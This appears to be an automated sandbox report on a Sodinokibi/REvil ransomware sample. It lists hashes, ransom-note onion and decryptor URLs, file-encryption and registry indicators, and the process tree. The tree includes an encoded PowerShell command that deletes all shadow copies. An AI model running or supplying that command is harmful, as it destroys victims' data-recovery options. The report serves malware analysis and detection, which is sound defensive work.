Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
26-02-2021 15:44
Static task
static1
Behavioral task
behavioral1
Sample
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe
Resource
win10v20201028
General
-
Target
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe
-
Size
115KB
-
MD5
d7dd35bfb368ebaf9b42d2824ae8d940
-
SHA1
99f3dd3376e9615f5863808ec4ed051ddad7ccfa
-
SHA256
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309
-
SHA512
bbb79586ea55b31bb45bcc0ced9c1c8aa0cb2cbe8cfe2d084242b948e04a095c5b3880d7ab6e53eb196439f698ebb955d9c6e882508edf5dfcf2849d4b8615fa
Malware Config
Extracted
C:\86z806-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CD0A183B50D548BE
http://decryptor.cc/CD0A183B50D548BE
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription ioc process File renamed C:\Users\Admin\Pictures\OutCopy.crw => \??\c:\users\admin\pictures\OutCopy.crw.86z806 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File renamed C:\Users\Admin\Pictures\ProtectTrace.png => \??\c:\users\admin\pictures\ProtectTrace.png.86z806 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File renamed C:\Users\Admin\Pictures\StopEnter.tiff => \??\c:\users\admin\pictures\StopEnter.tiff.86z806 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File renamed C:\Users\Admin\Pictures\SetSave.tiff => \??\c:\users\admin\pictures\SetSave.tiff.86z806 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\users\admin\pictures\SetSave.tiff b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\users\admin\pictures\StopEnter.tiff b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File renamed C:\Users\Admin\Pictures\FormatUse.tif => \??\c:\users\admin\pictures\FormatUse.tif.86z806 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription ioc process File opened (read-only) \??\L: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\M: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\R: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\S: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\U: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\E: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\O: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\P: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\V: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\I: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\B: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\J: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\Q: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\T: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\X: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\Z: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\D: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\A: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\G: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\H: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\K: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\N: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\W: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\Y: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened (read-only) \??\F: b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1018.bmp" b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Drops file in Program Files directory 11 IoCs
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription ioc process File opened for modification \??\c:\program files\MountFind.search-ms b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File created \??\c:\program files\86z806-readme.txt b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\DisconnectConfirm.css b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\LimitEnable.xps b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\PopUnlock.wma b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\RemoveInvoke.cfg b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\StopNew.odp b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\SwitchLock.midi b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\WatchEdit.pot b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File created \??\c:\program files (x86)\86z806-readme.txt b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe File opened for modification \??\c:\program files\ExportSuspend.html b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b688518680400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c0000000100000004000000000800000400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exepowershell.exepid process 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe 1208 powershell.exe 1208 powershell.exe 1208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe Token: SeDebugPrivilege 1208 powershell.exe Token: SeBackupPrivilege 3464 vssvc.exe Token: SeRestorePrivilege 3464 vssvc.exe Token: SeAuditPrivilege 3464 vssvc.exe Token: SeTakeOwnershipPrivilege 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exedescription pid process target process PID 3636 wrote to memory of 1208 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe powershell.exe PID 3636 wrote to memory of 1208 3636 b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe"C:\Users\Admin\AppData\Local\Temp\b69a30084b2fa7aea309e867e673e3dc5caaaeed119f5c51b271e3144b634309.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1208
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:188
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3464
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/1208-2-0x0000000000000000-mapping.dmp
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memory/1208-3-0x00007FF8E8A20000-0x00007FF8E940C000-memory.dmpFilesize
9.9MB
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memory/1208-4-0x000001ABFC3E0000-0x000001ABFC3E1000-memory.dmpFilesize
4KB
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memory/1208-5-0x000001ABFC590000-0x000001ABFC591000-memory.dmpFilesize
4KB
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memory/1208-6-0x000001ABFA170000-0x000001ABFA172000-memory.dmpFilesize
8KB
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memory/1208-7-0x000001ABFA173000-0x000001ABFA175000-memory.dmpFilesize
8KB
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memory/1208-8-0x000001ABFA176000-0x000001ABFA178000-memory.dmpFilesize
8KB